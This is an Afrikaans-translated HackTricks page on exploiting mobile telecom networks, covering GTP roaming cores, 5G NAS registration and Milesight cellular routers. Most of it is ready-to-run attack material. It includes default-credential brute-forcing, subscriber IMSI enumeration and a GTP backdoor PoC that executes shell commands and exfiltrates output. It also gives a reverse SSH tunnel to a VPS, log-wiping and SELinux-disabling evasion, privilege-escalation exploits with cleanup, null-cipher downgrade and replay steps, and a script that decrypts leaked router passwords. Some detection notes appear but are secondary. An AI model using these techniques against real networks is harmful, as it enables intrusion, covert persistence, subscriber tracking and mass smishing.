Telecom Netwerkuitbuiting (GTP / Roaming-omgewings)
Reading time: 13 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
note
Mobile-core protocols (GPRS Tunnelling Protocol – GTP) gaan dikwels deur semi-gevertroude GRX/IPX roaming-backbones. Omdat hulle oor plain UDP ry met byna geen authentikasie nie, kan enige foothold binne 'n telecom perimeter gewoonlik core signalling planes direk bereik. Die volgende notas versamel offensive tricks wat in die veld waargeneem is teen SGSN/GGSN, PGW/SGW en ander EPC nodes.
1. Recon & Initial Access
1.1 Standaard OSS / NE-rekeninge
'n Verstommend groot stel verskaffer-netwerkelemente word saamgestuur met hard-coded SSH/Telnet gebruikers soos root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … 'n toegewyde wordlist verhoog dramaties brute-force sukses:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
As die toestel slegs 'n management VRF openbaar, pivot eers via 'n jump host (sien afdeling «SGSN Emu Tunnel» hieronder).
1.2 Host Discovery binne GRX/IPX
Die meeste GRX-operateurs laat steeds ICMP echo oor die backbone toe. Kombineer masscan
met die ingeboude gtpv1
UDP-probes om vinnig GTP-C-luisteraars in kaart te bring:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumerering van intekenare – cordscan
Die volgende Go-hulpmiddel samestel GTP-C Create PDP Context Request pakkette en registreer die antwoorde. Elke antwoord onthul die huidige SGSN / MME wat die gevraagde IMSI bedien en soms die intekenaar se besoekte PLMN.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Belangrike vlae:
--imsi
Teikenabonnee IMSI--oper
Tuis / HNI (MCC+MNC)-w
Skryf rou pakkette na pcap
Belangrike konstantes binne die binêre kan aangepas word om skanderings uit te brei:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Kode-uitvoering oor GTP – GTPDoor
GTPDoor
is 'n klein ELF-diens wat binds UDP 2123 and parses every incoming GTP-C packet. Wanneer die payload met 'n pre-shared tag begin, word die oorblyfsel ontsleutel (AES-128-CBC) en uitgevoer via /bin/sh -c
. Die stdout/stderr word exfiltrated binne Echo Response messages sodat geen uitgaande sessie ooit geskep word nie.
Minimal PoC packet (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detection:
- enige gasheer wat unbalanced Echo Requests na SGSN IP-adresse stuur
- GTP weergawe-vlag op 1 gestel terwyl message type = 1 (Echo) – afwyking van die spesifikasie
4. Pivoting deur die Kern
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
lewer 'n SGSN-emulator wat in staat is om 'n PDP-konteks op te stel na 'n werklike GGSN/PGW. Sodra dit onderhandel is, ontvang Linux 'n nuwe tun0
-koppelvlak wat vanaf die roaming-peer bereikbaar is.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Met behoorlike firewall hair-pinning omseiling, omseil hierdie tonnel signalling-only VLANs en beland jy direk in die data plane.
4.2 SSH Reverse Tunnel over Port 53
DNS is byna altyd oop in roaming-infrastrukture. Maak 'n interne SSH-diens op jou VPS beskikbaar wat luister op poort :53, en keer later van die huis af terug:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Kontroleer dat GatewayPorts yes
op die VPS geaktiveer is.
5. Geheime Kanale
Kanaal | Transport | Dekodering | Aantekeninge |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | puur passiewe luisteraar, geen uitgaande verkeer |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy ) gekodeer in A-record oktette | kyk uit vir *.nodep sub-domein |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | meng met geldige GTP-C verkeer |
Alle implants gebruik watchdogs wat hul binaries timestomp en weer opstart as hulle crash.
6. Verdedigings-omseiling Cheatsheet
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation op Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Skoonmaakwenk:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Tool Box
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– custom tooling described in previous sections.FScan
: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: lightweight SOCKS5 pivotingFRP
(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Die 5G-registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Totdat NAS-sekuriteit geaktiveer word deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer en nie versleuteld nie. Hierdie pre-sekuriteitsvenster maak verskeie aanvalspaaie moontlik wanneer jy N2-verkeer kan observeer of manipuleer (bv. on-path binne die core, rogue gNB, of testbed).
Registrasievloei (vereenvoudig):
- Registration Request: UE stuur SUCI (encrypted SUPI) en capabilities.
- Authentication: AMF/AUSF stuur RAND/AUTN; UE gee RES* terug.
- Security Mode Command/Complete: NAS-integriteit en ciphering word onderhandeld en geaktiveer.
- PDU Session Establishment: IP/QoS opstelling.
Laboratorium opstel wenke (non-RF):
- Core: Open5GS standaard implementering is voldoende om vloei te reproduseer.
- UE: simulator of test-UE; dekodeer met Wireshark.
- Aktiewe gereedskap: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Nuttige vertoonfilters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Verwagting: UE/USIM moet SUCI stuur (SUPI encrypted met die home-network public key). Om 'n plaintext SUPI/IMSI in die Registration Request te vind dui op 'n privaatheidsdefek wat volgehoue subscriber-tracking moontlik maak.
Hoe om te toets:
- Capture die eerste NAS-boodskap in InitialUEMessage en inspekteer die Mobile Identity IE.
- Wireshark vinnige kontroles:
- Dit behoort as SUCI te dekodeer, nie as IMSI nie.
- Filtervoorbeelde:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
behoort te bestaan; afwesigheid plus teenwoordigheid vanimsi
dui op leakage.
Wat om in te samel:
- MCC/MNC/MSIN indien blootgestel; log per-UE en volg oor tyd/liggings.
Mitigasie:
- Forceer SUCI-only UEs/USIMs; waarsku op enige IMSI/SUPI in die aanvanklike NAS.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Agtergrond:
- UE adverteer ondersteunde EEA (encryption) en EIA (integrity) in die UE Security Capability IE van die Registration Request.
- Algemene mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is nul-algoritmes.
Kwessie:
- Omdat die Registration Request nie integriteitsbeskerm is nie, kan 'n on-path aanvaller capability-bits uitvee om die keuse van EEA0/EIA0 af te dwing later tydens Security Mode Command. Sommige stacks laat ten onregte toe dat nul-algoritmes buite emergency services gebruik word.
Offensiewe stappe:
- Intersep InitialUEMessage en wysig die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer.
- Met Sni5Gect, hook die NAS-boodskap en patch die capability-bits voordat dit geforward word.
- Observeer of AMF null ciphers/integrity aanvaar en Security Mode voltooi met EEA0/EIA0.
Verifikasie/sigbaarheid:
- In Wireshark, bevestig die geselekteerde algoritmes na Security Mode Command/Complete.
- Voorbeeld passiewe sniffer-uitset:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Versagtingsmaatreëls (moet):
- Konfigureer AMF/policy om EEA0/EIA0 te weier, behalwe waar dit streng voorgeskryf is (bv., noodoproepe).
- Beveel aan om EEA2/EIA2 ten minste af te dwing; registreer en waarsku by enige NAS-sekuriteitskonteks wat null-algoritmes onderhandel.
9.3 Replay van aanvanklike Registration Request (pre-security NAS)
Omdat die aanvanklike NAS geen integriteit of varsheid het nie, kan vasgevangde InitialUEMessage+Registration Request na die AMF gereplayed word.
PoC-reël vir 5GReplay om ooreenstemmende replays deur te stuur:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
Wat om waar te neem:
- Whether AMF accepts the replay and proceeds to Authentication; 'n gebrek aan freshness/context validation dui op blootstelling.
Versagtingsmaatreëls:
- Dwing replay protection/context binding by die AMF af; rate-limit en korreleer per-GNB/UE.
9.4 Gereedskap-aanwysings (herhaalbaar)
- Open5GS: start 'n AMF/SMF/UPF op om die core te emuleer; observeer N2 (NGAP) en NAS.
- Wireshark: verifieer dekodes van NGAP/NAS; pas die filters hierbo toe om Registration te isoleer.
- 5GReplay: vang 'n Registration op, daarna replay spesifieke NGAP + NAS boodskappe soos per die reël.
- Sni5Gect: live sniff/modify/inject NAS control-plane om null algorithms af te dwing of authentication sequences te ontwrig.
9.5 Verdedigingskontrolelys
- Inspekteer deurlopend Registration Request vir plaintext SUPI/IMSI; blokkeer oortredende devices/USIMs.
- Weier EEA0/EIA0 behalwe vir noukeurig gedefinieerde noodprosedures; vereis ten minste EEA2/EIA2.
- Detecteer ongeoorloofde of verkeerd geconfigureerde infrastruktuur: unauthorized gNB/AMF, unexpected N2 peers.
- Waarsku oor NAS security modes wat lei tot null algorithms of gereelde replays van InitialUEMessage.
10. Industriële Sellulêre Routers – Ongeauthentiseerde SMS-API-misbruik (Milesight UR5X/UR32/UR35/UR41) en kredensiële herstel (CVE-2023-43261)
Deur blootgestelde web-APIs van industriële sellulêre routers te misbruik word stealthy, carrier-origin smishing op skaal moontlik. Milesight UR-series routers stel 'n JSON-RPC–styl endpoint by /cgi
bloot. Wanneer verkeerd geconfigureer, kan die API sonder authentication bevra word om SMS inbox/outbox te lys en, in sommige deployments, om SMS te stuur.
Tipiese ongeauthentiseerde versoeke (dieselfde struktuur vir inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Antwoorde sluit velde in soos timestamp
, content
, phone_number
(E.164), en status
(success
or failed
). Herhaalde failed
stuurings na dieselfde nommer is dikwels attacker “capability checks” om te verifieer dat 'n router/SIM kan aflewer voordat blasting plaasvind.
Voorbeeld curl om SMS metadata te exfiltrate:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Aantekeninge oor auth-artefakte:
- Sommige verkeer mag 'n auth cookie insluit, maar 'n groot gedeelte van blootgestelde toestelle reageer sonder enige authenticatie op
query_inbox
/query_outbox
wanneer die management-koppelvlak Internet-toeganklik is. - In omgewings wat auth vereis, previously-leaked credentials (see below) herstel toegang.
Kredensiaalherstelpad – CVE-2023-43261:
- Aangetaste families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Probleem: web-geserveerde logs (bv.
httpd.log
) is sonder enige authenticatie bereikbaar onder/lang/log/
en bevat admin-aanmeldingsgebeurtenisse met die wagwoord versleuteld met 'n hardcoded AES key/IV wat in client-side JavaScript teenwoordig is. - Praktiese toegang en ontsleuteling:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Minimale Python om leaked wagwoorde te dekripteer (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Jag- en opsporingsideeë (netwerk):
- Waarsku oor ongeverifieerde
POST /cgi
waarvan die JSON-liggaambase
/function
bevat wat opquery_inbox
ofquery_outbox
gestel is. - Volg herhaalde
POST /cgi
uitbarstings gevolg deurstatus":"failed"
inskrywings oor baie unieke nommers vanaf dieselfde bron-IP (capability testing). - Inventariseer Internet-blootgestelde Milesight routers; beperk bestuur tot VPN; deaktiveer SMS-funksies tensy vereis; opgradeer na ≥ v35.3.0.7; roteer credentials en hersien SMS-logboeke vir onbekende stuuraksies.
Shodan/OSINT pivots (voorbeelde in die natuur gesien):
http.html:"rt_title"
pas by Milesight router-paneel.- Google dorking vir blootgestelde logs:
"/lang/log/system" ext:log
.
Operationele impak: die gebruik van wettige carrier SIMs binne routers gee baie hoë SMS-lewerbaarheid en geloofwaardigheid vir phishing, terwyl inbox/outbox blootstelling sensitiewe metadata op skaal leak.
Opsporingsidees
- Enige toestel anders as 'SGSN/GGSN' wat Create PDP Context Requests opstel.
- Nie-standaard poorte (53, 80, 443) wat SSH-handshakes van interne IP's ontvang.
- Gereelde Echo Requests sonder ooreenstemmende Echo Responses – kan op GTPDoor-beacons dui.
- Hoë tempo van ICMP echo-reply verkeer met groot, nie-nul identifier/sequence-velde.
- 5G: InitialUEMessage wat NAS Registration Requests dra wat herhaal van identiese eindpunte (replay sein).
- 5G: NAS Security Mode wat EEA0/EIA0 onderhandel buite noodgevalkontekste.
Verwysings
- Palo Alto Unit42 – Infiltrasie van Globale Telekomnetwerke
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.